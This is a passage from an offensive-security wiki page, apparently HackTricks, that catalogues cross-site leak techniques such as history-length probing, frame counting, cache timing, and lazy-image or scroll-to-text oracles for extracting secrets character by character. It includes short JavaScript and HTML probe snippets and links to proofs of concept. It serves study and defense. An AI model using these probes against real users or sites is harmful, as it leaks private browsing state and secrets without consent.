-{{#endref}} - -### Max Redirects - -- **Inclusion Methods**: Fetch API, Frames -- **Detectable Difference**: Status Code -- **More info**: [https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.g63edc858f3_0_76](https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.g63edc858f3_0_76)<sup>[[40]](#references)</sup> -- **Summary:** User the browser's redirect limit to ascertain the occurrence of URL redirections. -- **Code Example**: [https://xsinator.com/testing.html#Max%20Redirect%20Leak](https://xsinator.com/testing.html#Max%20Redirect%20Leak) - -If the **max** number of **redirects** to follow of a browser is **20**, an attacker could try to load his page with **19 redirects** and finally **send the victim** to the tested page. If an **error** is triggered, then the page was trying to **redirect the victim**. - -### History Length - -- **Inclusion Methods**: Frames, Pop-ups -- **Detectable Difference**: Redirects -- **More info**: [https://xsleaks.dev/docs/attacks/navigations/](https://xsleaks.dev/docs/attacks/navigations/)<sup>[[41]](#references)</sup> -- **Summary:** JavaScript code manipulates the browser history and can be accessed by the length property. -- **Code Example**: [https://xsinator.com/testing.html#History%20Length%20Leak](https://xsinator.com/testing.html#History%20Length%20Leak) - -The **History API** allows JavaScript code to manipulate the browser history, which **saves the pages visited by a user**. An attacker can use the length property as an inclusion method: to detect JavaScript and HTML navigation.\ -**Checking `history.length`**, making a user **navigate** to a page, **change** it **back** to the same-origin and **checking** the new value of **`history.length`**. - -### History Length with same URL - -- **Inclusion Methods**: Frames, Pop-ups -- **Detectable Difference**: If URL is the same as the guessed one -- **Summary:** It's possible to guess if the location of a frame/popup is in an specific URL abusing the history length. -- **Code Example**: Below - -An attacker could use JavaScript code to **manipulate the frame/pop-up location to a guessed one** and **immediately** **change it to `about:blank`**. If the history length increased it means the URL was correct and it had time to **increase because the URL isn't reloaded if it's the same**. If it didn't increased it means it **tried to load the guessed URL** but because we **immediately after** loaded **`about:blank`**, the **history length did never increase** when loading the guessed url. - -```javascript -async function debug(win, url) { - win.location = url + "#aaa" - win.location = "about:blank" - await new Promise((r) => setTimeout(r, 500)) - return win.history.length -} - -win = window.open("https://example.com/?a=b") -await new Promise((r) => setTimeout(r, 2000)) -console.log(await debug(win, "https://example.com/?a=c")) - -win.close() -win = window.open("https://example.com/?a=b") -await new Promise((r) => setTimeout(r, 2000)) -console.log(await debug(win, "https://example.com/?a=b")) -``` - -### Frame Counting - -- **Inclusion Methods**: Frames, Pop-ups -- **Detectable Difference**: Page Content -- **More info**: [https://xsleaks.dev/docs/attacks/frame-counting/](https://xsleaks.dev/docs/attacks/frame-counting/)<sup>[[42]](#references)</sup> -- **Summary:** Evaluate the quantity of iframe elements by inspecting the `window.length` property. -- **Code Example**: [https://xsinator.com/testing.html#Frame%20Count%20Leak](https://xsinator.com/testing.html#Frame%20Count%20Leak) - -Counting the **number of frames in a web** opened via `iframe` or `window.open` might help to identify the **status of the user over that page**.\ -Moreover, if the page has always the same number of frames, checking **continuously** the number of frames might help to identify a **pattern** that might leak info. - -An example of this technique is that in chrome, a **PDF** can be **detected** with **frame counting** because an `embed` is used internally. There are [Open URL Parameters](https://bugs.chromium.org/p/chromium/issues/detail?id=64309#c113) that allow some control over the content such as `zoom`, `view`, `page`, `toolbar` where this technique could be interesting. - -### HTMLElements - -- **Inclusion Methods**: HTML Elements -- **Detectable Difference**: Page Content -- **More info**: [https://xsleaks.dev/docs/attacks/element-leaks/](https://xsleaks.dev/docs/attacks/element-leaks/)<sup>[[43]](#references)</sup> -- **Summary:** Read the leaked value to distinguish between 2 possible states -- **Code Example**: [https://xsleaks.dev/docs/attacks/element-leaks/](https://xsleaks.dev/docs/attacks/element-leaks/), [https://xsinator.com/testing.html#Media%20Dimensions%20Leak](https://xsinator.com/testing.html#Media%20Dimensions%20Leak), [https://xsinator.com/testing.html#Media%20Duration%20Leak](https://xsinator.com/testing.html#Media%20Duration%20Leak) - -Information leakage through HTML elements is a concern in web security, particularly when dynamic media files are generated based on user information, or when watermarks are added, altering the media size. This can be exploited by attackers to differentiate between possible states by analyzing the information exposed by certain HTML elements. - -### Information Exposed by HTML Elements - -- **HTMLMediaElement**: This element reveals the media's `duration` and `buffered` times, which can be accessed via its API. [Read more about HTMLMediaElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLMediaElement)<sup>[[44]](#references)</sup> -- **HTMLVideoElement**: It exposes `videoHeight` and `videoWidth`. In some browsers, additional properties like `webkitVideoDecodedByteCount`, `webkitAudioDecodedByteCount`, and `webkitDecodedFrameCount` are available, offering more in-depth information about the media content. [Read more about HTMLVideoElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLVideoElement)<sup>[[45]](#references)</sup> -- **getVideoPlaybackQuality()**: This function provides details about video playback quality, including `totalVideoFrames`, which can indicate the amount of video data processed. [Read more about getVideoPlaybackQuality()](https://developer.mozilla.org/en-US/docs/Web/API/VideoPlaybackQuality)<sup>[[46]](#references)</sup> -- **HTMLImageElement**: This element leaks the `height` and `width` of an image. However, if an image is invalid, these properties will return 0, and the `image.decode()` function will be rejected, indicating the failure to load the image properly. [Read more about HTMLImageElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLImageElement)<sup>[[47]](#references)</sup> - -### CSS Property - -- **Inclusion Methods**: HTML Elements -- **Detectable Difference**: Page Content -- **More info**: [https://xsleaks.dev/docs/attacks/element-leaks/#abusing-getcomputedstyle](https://xsleaks.dev/docs/attacks/element-leaks/#abusing-getcomputedstyle), [https://scarybeastsecurity.blogspot.com/2008/08/cross-domain-leaks-of-site-logins.html](https://scarybeastsecurity.blogspot.com/2008/08/cross-domain-leaks-of-site-logins.html)<sup>[[48]](#references)[[49]](#references)</sup> -- **Summary:** Identify variations in website styling that correlate with the user's state or status. -- **Code Example**: [https://xsinator.com/testing.html#CSS%20Property%20Leak](https://xsinator.com/testing.html#CSS%20Property%20Leak) - -Web applications may change w**ebsite styling depending on the status of the use**. Cross-origin CSS files can be embedded on the attacker page with the **HTML link element**, and the **rules** will be **applied** to the attacker page. If a page dynamically changes these rules, an attacker can **detect** these **differences** depending on the user state.\ -As a leak technique, the attacker can use the `window.getComputedStyle` method to **read CSS** properties of a specific HTML element. As a result, an attacker can read arbitrary CSS properties if the affected element and property name is known. - -### CSS History - -- **Inclusion Methods**: HTML Elements -- **Detectable Difference**: Page Content -- **More info**: [https://xsleaks.dev/docs/attacks/css-tricks/#retrieving-users-history](https://xsleaks.dev/docs/attacks/css-tricks/#retrieving-users-history)<sup>[[50]](#references)</sup> -- **Summary:** Detect if the `:visited` style is applied to an URL indicating it was already visited -- **Code Example**: [http://blog.bawolff.net/2021/10/write-up-pbctf-2021-vault.html](http://blog.bawolff.net/2021/10/write-up-pbctf-2021-vault.html)<sup>[[51]](#references)</sup> - -> [!TIP] -> According to [**this**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/), this is not working in headless Chrome. - -The CSS `:visited` selector is utilized to style URLs differently if they have been previously visited by the user. In the past, the `getComputedStyle()` method could be employed to identify these style differences. However, modern browsers have implemented security measures to prevent this method from revealing the state of a link. These measures include always returning the computed style as if the link were visited and restricting the styles that can be applied with the `:visited` selector. - -Despite these restrictions, it's possible to discern the visited state of a link indirectly. One technique involves tricking the user into interacting with an area affected by CSS, specifically utilizing the `mix-blend-mode` property. This property allows the blending of elements with their background, potentially revealing the visited state based on user interaction. - -Furthermore, detection can be achieved without user interaction by exploiting the rendering timings of links. Since browsers may render visited and unvisited links differently, this can introduce a measurable time difference in rendering. A proof of concept (PoC) was mentioned in a Chromium bug report, demonstrating this technique using multiple links to amplify the timing difference, thereby making the visited state detectable through timing analysis. - -For further details on these properties and methods, visit their documentation pages: - -- `:visited`: [MDN Documentation](https://developer.mozilla.org/en-US/docs/Web/CSS/:visited) -- `getComputedStyle()`: [MDN Documentation](https://developer.mozilla.org/en-US/docs/Web/API/Window/getComputedStyle) -- `mix-blend-mode`: [MDN Documentation](https://developer.mozilla.org/en-US/docs/Web/CSS/mix-blend-mode) - -### ContentDocument X-Frame Leak - -- **Inclusion Methods**: Frames -- **Detectable Difference**: Headers -- **More info**: [https://www.ndss-symposium.org/wp-content/uploads/2020/02/24278-paper.pdf](https://www.ndss-symposium.org/wp-content/uploads/2020/02/24278-paper.pdf)<sup>[[52]](#references)</sup> -- **Summary:** In Google Chrome, a dedicated error page is displayed when a page is blocked from being embedded on a cross-origin site due to X-Frame-Options restrictions. -- **Code Example**: [https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak](https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak) - -In Chrome, if a page with the `X-Frame-Options` header set to "deny" or "same-origin" is embedded as an object, an error page appears. Chrome uniquely returns an empty document object (instead of `null`) for the `contentDocument` property of this object, unlike in iframes or other browsers. Attackers could exploit this by detecting the empty document, potentially revealing information about the user's state, especially if developers inconsistently set the X-Frame-Options header, often overlooking error pages. Awareness and consistent application of security headers are crucial for preventing such leaks. - -### Download Detection - -- **Inclusion Methods**: Frames, Pop-ups -- **Detectable Difference**: Headers -- **More info**: [https://xsleaks.dev/docs/attacks/navigations/#download-trigger](https://xsleaks.dev/docs/attacks/navigations/#download-trigger)<sup>[[53]](#references)</sup> -- **Summary:** An attacker can discern file downloads by leveraging iframes; continued accessibility of the iframe implies successful file download. -- **Code Example**: [https://xsleaks.dev/docs/attacks/navigations/#download-bar](https://xsleaks.dev/docs/attacks/navigations/#download-bar) - -The `Content-Disposition` header, specifically `Content-Disposition: attachment`, instructs the browser to download content rather than display it inline. This behavior can be exploited to detect whether a user has access to a page that triggers a file download. In Chromium-based browsers, there are a few techniques to detect this download behavior: - -1. **Download Bar Monitoring**: - - When a file is downloaded in Chromium-based browsers, a download bar appears at the bottom of the browser window. - - By monitoring changes in the window height, attackers can infer the appearance of the download bar, suggesting that a download has been initiated. -2. **Download Navigation with Iframes**: - - When a page triggers a file download using the `Content-Disposition: attachment` header, it does not cause a navigation event. - - By loading the content in an iframe and monitoring for navigation events, it's possible to check if the content disposition causes a file download (no navigation) or not. -3. **Download Navigation without Iframes**: - - Similar to the iframe technique, this method involves using `window.open` instead of an iframe. - - Monitoring navigation events in the newly opened window can reveal whether a file download was triggered (no navigation) or if the content is displayed inline (navigation occurs). - -In scenarios where only logged-in users can trigger such downloads, these techniques can be used to indirectly infer the user's authentication state based on the browser's response to the download request. - -### Partitioned HTTP Cache Bypass <a href="#partitioned-http-cache-bypass" id="partitioned-http-cache-bypass"></a> - -- **Inclusion Methods**: Pop-ups -- **Detectable Difference**: Timing -- **More info**: [https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass](https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass)<sup>[[54]](#references)</sup> -- **Summary:** An attacker can discern file downloads by leveraging iframes; continued accessibility of the iframe implies successful file download. -- **Code Example**: [https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass](https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass), [https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722](https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722) (from [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/))<sup>[[55]](#references)</sup> - -> [!WARNING] -> This is why this technique is interesting: Chrome now has **cache partitioning**, and the cache key of the newly opened page is: `(https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m =xxx)`, but if I open an ngrok page and use fetch in it, the cache key will be: `(https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx)`, the **cache key is different**, so the cache cannot be shared. You can find more detail here: [Gaining security and privacy by partitioning the cache](https://developer.chrome.com/blog/http-cache-partitioning/)\ -> (Comment from [**here**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/)) - -If a site `example.com` includes a resource from `*.example.com/resource` then that resource will have the **same caching key** as if the resource was directly **requested through top-level navigation**. That is because the caching key is consisted of top-level _eTLD+1_ and frame _eTLD+1_. - -Because accessing the cache is faster than loading a resource, it's possible to try to change the location of a page and cancel it 20ms (for example) after. If the origin was changed after the stop, it means that the resource was cached.\ -Or could just **send some fetch to the pontentially cached page and measure the time it takes**. - -### Manual Redirect <a href="#fetch-with-abortcontroller" id="fetch-with-abortcontroller"></a> - -- **Inclusion Methods**: Fetch API -- **Detectable Difference**: Redirects -- **More info**: [ttps://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.gae7bf0b4f7_0_1234](https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.gae7bf0b4f7_0_1234)<sup>[[56]](#references)</sup> -- **Summary:** It's possible to find out if a response to a fetch request is a redirect -- **Code Example**: - -![Partitioned HTTP Cache Bypass - Manual Redirect: Summary: It's possible to find out if a response to a fetch request is a redirect](<../images/image (652).png>) - -### Fetch with AbortController <a href="#fetch-with-abortcontroller" id="fetch-with-abortcontroller"></a> - -- **Inclusion Methods**: Fetch API -- **Detectable Difference**: Timing -- **More info**: [https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller](https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller)<sup>[[57]](#references)</sup> -- **Summary:** It's possible to try to load a resource and about before it's loaded the loading is interrupted. Depending on if an error is triggered, the resource was or wasn't cached. -- **Code Example**: [https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller](https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller) - -Use _**fetch**_ and _**setTimeout**_ with an **AbortController** to both detect whether the **resource is cached** and to evict a specific resource from the browser cache. Moreover, the process occurs without caching new content. - -### Script Pollution - -- **Inclusion Methods**: HTML Elements (script) -- **Detectable Difference**: Page Content -- **More info**: [https://xsleaks.dev/docs/attacks/element-leaks/#script-tag](https://xsleaks.dev/docs/attacks/element-leaks/#script-tag)<sup>[[58]](#references)</sup> -- **Summary:** It's possible to **overwrite built-in functions** and read their arguments which even from **cross-origin script** (which cannot be read directly), this might **leak valuable information**. -- **Code Example**: [https://xsleaks.dev/docs/attacks/element-leaks/#script-tag](https://xsleaks.dev/docs/attacks/element-leaks/#script-tag) - -### Service Workers <a href="#service-workers" id="service-workers"></a> - -- **Inclusion Methods**: Pop-ups -- **Detectable Difference**: Page Content -- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#service-workers](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#service-workers)<sup>[[59]](#references)</sup> -- **Summary:** Measure execution time of a web using service workers. -- **Code Example**: - -In the given scenario, the attacker takes the initiative to register a **service worker** within one of their domains, specifically "attacker.com". Next, the attacker opens a new window in the target website from the main document and instructs the **service worker** to commence a timer. As the new window begins to load, the attacker navigates the reference obtained in the previous step to a page managed by the **service worker**. - -Upon arrival of the request initiated in the preceding step, the **service worker** responds with a **204 (No Content)** status code, effectively terminating the navigation process. At this point, the **service worker** captures a measurement from the timer initiated earlier in step two. This measurement is influenced by the duration of JavaScript causing delays in the navigation process. - -> [!WARNING] -> In an execution timing it's possible to **eliminate** **network factors** to obtain **more precise measurements**. For example, by loading the resources used by the page before loading it. - -### Fetch Timing - -- **Inclusion Methods**: Fetch API -- **Detectable Difference**: Timing (generally due to Page Content, Status Code) -- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks)<sup>[[60]](#references)</sup> -- **Summary:** Use [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) to measure the time it takes to perform a request. Other clocks could be used. -- **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks) - -### Cross-Window Timing - -- **Inclusion Methods**: Pop-ups -- **Detectable Difference**: Timing (generally due to Page Content, Status Code) -- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks)<sup>[[61]](#references)</sup> -- **Summary:** se [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) to measure the time it takes to perform a request using `window.open`. Other clocks could be used. -- **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks) - -## With HTML or Re Injection - -Here you can find techniques to exfiltrate information from a cross-origin HTML **injecting HTML content**. These techniques are interesting in cases where for any reason you can **inject HTML but you cannot inject JS code**. - -### Dangling Markup - - -{{#ref}} -dangling-markup-html-scriptless-injection/ -{{#endref}} - -### Image Lazy Loading - -If you need to **exfiltrate content** and you can **add HTML previous to the secret** you should check the **common dangling markup techniques**.\ -However, if for whatever reason you **MUST** do it **char by char** (maybe the communication is via a cache hit) you can use this trick. - -**Images** in HTML has a "**loading**" attribute whose value can be "**lazy**". In that case, the image will be loaded when it's viewed and not while the page is loading: - -```html -<img src=/something loading=lazy > -``` - -Therefore, what you can do is to **add a lot of junk chars** (For example **thousands of "W"s**) to **fill the web page before the secret or add something like** `<br><canvas height="1850px"></canvas><br>.`\ -Then if for example our **injection appear before the flag**, the **image** would be **loaded**, but if appears **after** the **flag**, the flag + the junk will **prevent it from being loaded** (you will need to play with how much junk to place). This is what happened in [**this writeup**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/).<sup>[[62]](#references)</sup> - -Another option would be to use the **scroll-to-text-fragment** if allowed: - -#### Scroll-to-text-fragment - -However, you make the **bot access the page** with something like - -``` -#:~:text=SECR -``` - -So the web page will be something like: **`https://victim.com/post.html#:~:text=SECR`** - -Where post.html contains the attacker junk chars and lazy load image and then the secret of the bot is added. - -What this text will do is to make the bot access any text in the page that contains the text `SECR`. As that text is the secret and it's just **below the image**, the **image will only load if the guessed secret is correct**. So there you have your oracle to **exfiltrate the secret char by char**. - -Some code example to exploit this: [https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e](https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e) - -### Image Lazy Loading Time Based - -If it's **not possible to load an external image** that could indicate the attacker that the image was loaded, another option would be to try to **guess the char several times and measure that**. If the image is loaded all the requests would take longer that if the image isn't loaded. This is what was used in the [**solution of this writeup**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/) **sumarized here:** - - -{{#ref}} -xs-search/event-loop-blocking-+-lazy-images.md -{{#endref}} - -### ReDoS - - -{{#ref}} -regular-expression-denial-of-service-redos.md -{{#endref}} - -### CSS ReDoS - -If `jQuery(location.hash)` is used, it's possible to find out via timing i**f some HTML content exists**, this is because if the selector `main[id='site-main']` doesn't match it doesn't need to check the rest of the **selectors**: - -```javascript -$( - "*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id='site-main']" -) -``` - -### CSS Injection - - -{{#ref}} -xs-search/css-injection/ -{{#endref}} - -## Defenses - -There are mitigations recommended in [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) also in each section of the wiki [https://xsleaks.dev/](https://xsleaks.dev/). Take a look there for more information about how to protect against these techniques.<sup>[[1]](#references)[[2]](#references)</sup> - -## References - -- [1] [XSinator.com: From a Formal Model to the Automatic Evaluation of Cross-Site Leaks in Web Browsers (paper)](https://xsinator.com/paper.pdf) -- [2] [xsleaks.dev – XS-Leaks Wiki](https://xsleaks.dev) -- [3] [xsleaks/xsleaks – GitHub repository](https://github.com/xsleaks/xsleaks) -- [4] [XSinator – browser XS-Leaks testing tool](https://xsinator.com/) -- [5] [nn9ed CTF 2019 – x-oracle challenge writeup (ka0labs)](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle) -- [6] [XS-Leaks Wiki - Timing Attacks - Clocks](https://xsleaks.dev/docs/attacks/timing-attacks/clocks) -- [7] [USENIX - Presentation - Staicu](https://www.usenix.org/conference/usenixsecurity19/presentation/staicu) -- [8] [XS-Leaks Wiki - Attacks - Error Events](https://xsleaks.dev/docs/attacks/error-events) -- [9] [XS-Leaks Wiki - Timing Attacks - Network Timing: Onload Events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events) -- [10] [XS-Leaks Wiki - Timing Attacks - Network Timing: Unload Events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events) -- [11] [XS-Leaks Wiki - Timing Attacks - Network Timing: Sandboxed Frame Timing Attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks) -- [12] [XS-Leaks Wiki - Browser Features - Corb](https://xsleaks.dev/docs/attacks/browser-features/corb) -- [13] [XS-Leaks Wiki - Attacks - Id Attribute](https://xsleaks.dev/docs/attacks/id-attribute) -- [14] [XS-Leaks Wiki - Experiments - Portals](https://xsleaks.dev/docs/attacks/experiments/portals) -- [15] [XS-Leaks Wiki - Attacks - Postmessage Broadcasts](https://xsleaks.dev/docs/attacks/postmessage-broadcasts) -- [16] [XS-Leaks Wiki - Timing Attacks - Execution Timing: Timing The Event Loop](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#timing-the-event-loop) -- [17] [XS-Leaks Wiki - Timing Attacks - Execution Timing: Busy Event Loop](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop) -- [18] [XS-Leaks Wiki - Timing Attacks - Connection Pool](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool) -- [19] [xsleaks.github.io - X Frame - Index](https://xsleaks.github.io/xsleaks/examples/x-frame/index.html) -- [20] [XS-Leaks Wiki - Timing Attacks - Performance Api: Detecting X Frame Options](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-x-frame-options) -- [21] [ndss-symposium.org - Awakening The Webs Sleeper Agents Misusing Service Workers For Privacy Leakage](https://www.ndss-symposium.org/ndss-paper/awakening-the-webs-sleeper-agents-misusing-service-workers-for-privacy-leakage) -- [22] [XS-Leaks Wiki - Timing Attacks - Performance Api: Detecting Cached Resources](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources) -- [23] [XS-Leaks Wiki - Timing Attacks - Performance Api: Network Duration](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration) -- [24] [bugs.chromium.org - Issues - Detail](https://bugs.chromium.org/p/chromium/issues/detail?id=828265) -- [25] [bugs.chromium.org - Issues - Detail](https://bugs.chromium.org/p/chromium/issues/detail?id=313737) -- [26] [lists.w3.org - May](https://lists.w3.org/Archives/Public/public-webappsec/2013May/0022.html) -- [27] [XS-Leaks Wiki - Attacks - Navigations: Cross Origin Redirects](https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects) -- [28] [XS-Leaks Wiki - Attacks - Cache Probing: Cache Probing With Error Events](https://xsleaks.dev/docs/attacks/cache-probing/#cache-probing-with-error-events) -- [29] [sirdarckcat.blogspot.com - Http Cache Cross Site Leaks](https://sirdarckcat.blogspot.com/2019/03/http-cache-cross-site-leaks.html) -- [30] [bugs.chromium.org - Issues - Detail](https://bugs.chromium.org/p/chromium/issues/detail?id=1105875) -- [31] [XS-Leaks Wiki - Browser Features - Corp](https://xsleaks.dev/docs/attacks/browser-features/corp) -- [32] [XS-Leaks Wiki - Browser Features - Corb: Detecting The Nosniff Header](https://xsleaks.dev/docs/attacks/browser-features/corb/#detecting-the-nosniff-header) -- [33] [XS-Leaks Wiki - Attacks - Cache Probing: Cors Error On Origin Reflection Misconfiguration](https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration) -- [34] [web-in-security.blogspot.com - Security And Privacy Of Social Logins Part3](https://web-in-security.blogspot.com/2021/02/security-and-privacy-of-social-logins-part3.html) -- [35] [XS-Leaks Wiki - Attacks - Window References](https://xsleaks.dev/docs/attacks/window-references) -- [36] [XS-Leaks Wiki - Attacks - Navigations: Server Side Redirects](https://xsleaks.dev/docs/attacks/navigations/#server-side-redirects) -- [37] [Huli - Angstrom Ctf 2022 Writeup En: Intended](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended) -- [38] [ctf.zeyu2001.com - Hacktm Ctf Qualifiers - Secrets: Unintended Solution Chromes 2mb Url Limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit) -- [39] [chromium.googlesource.com - Chromium documentation](https://chromium.googlesource.com/chromium/src/+/main/docs/security/url_display_guidelines/url_display_guidelines.md#URL-Length) -- [40] [docs.google.com - 1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og - Edit: Slide=id.g63edc858f3 0 76](https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.g63edc858f3_0_76) -- [41] [XS-Leaks Wiki - Attacks - Navigations](https://xsleaks.dev/docs/attacks/navigations) -- [42] [XS-Leaks Wiki - Attacks - Frame Counting](https://xsleaks.dev/docs/attacks/frame-counting) -- [43] [XS-Leaks Wiki - Attacks - Element Leaks](https://xsleaks.dev/docs/attacks/element-leaks) -- [44] [MDN - API - HTMLMediaElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLMediaElement) -- [45] [MDN - API - HTMLVideoElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLVideoElement) -- [46] [MDN - API - VideoPlaybackQuality](https://developer.mozilla.org/en-US/docs/Web/API/VideoPlaybackQuality) -- [47] [MDN - API - HTMLImageElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLImageElement) -- [48] [XS-Leaks Wiki - Attacks - Element Leaks: Abusing Getcomputedstyle](https://xsleaks.dev/docs/attacks/element-leaks/#abusing-getcomputedstyle) -- [49] [scarybeastsecurity.blogspot.com - Cross Domain Leaks Of Site Logins](https://scarybeastsecurity.blogspot.com/2008/08/cross-domain-leaks-of-site-logins.html) -- [50] [XS-Leaks Wiki - Attacks - Css Tricks: Retrieving Users History](https://xsleaks.dev/docs/attacks/css-tricks/#retrieving-users-history) -- [51] [blog.bawolff.net - Write Up Pbctf 2021 Vault](http://blog.bawolff.net/2021/10/write-up-pbctf-2021-vault.html) -- [52] [ndss-symposium.org - 02 - 8 Paper](https://www.ndss-symposium.org/wp-content/uploads/2020/02/24278-paper.pdf) -- [53] [XS-Leaks Wiki - Attacks - Navigations: Download Trigger](https://xsleaks.dev/docs/attacks/navigations/#download-trigger) -- [54] [XS-Leaks Wiki - Attacks - Navigations: Partitioned Http Cache Bypass](https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass) -- [55] [Gist by aszx87410](https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722) -- [56] [ttps://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.gae7bf0b4f701234](https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.gae7bf0b4f7_0_1234) -- [57] [XS-Leaks Wiki - Attacks - Cache Probing: Fetch With Abortcontroller](https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller) -- [58] [XS-Leaks Wiki - Attacks - Element Leaks: Script Tag](https://xsleaks.dev/docs/attacks/element-leaks/#script-tag) -- [59] [XS-Leaks Wiki - Timing Attacks - Execution Timing: Service Workers](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#service-workers) -- [60] [XS-Leaks Wiki - Timing Attacks - Network Timing: Modern Web Timing Attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks) -- [61] [XS-Leaks Wiki - Timing Attacks - Network Timing: Cross Window Timing Attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks) -- [62] [Huli - Sekaictf2022 Safelist And Connection](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection) - -{{#include ../banners/hacktricks-training.md}}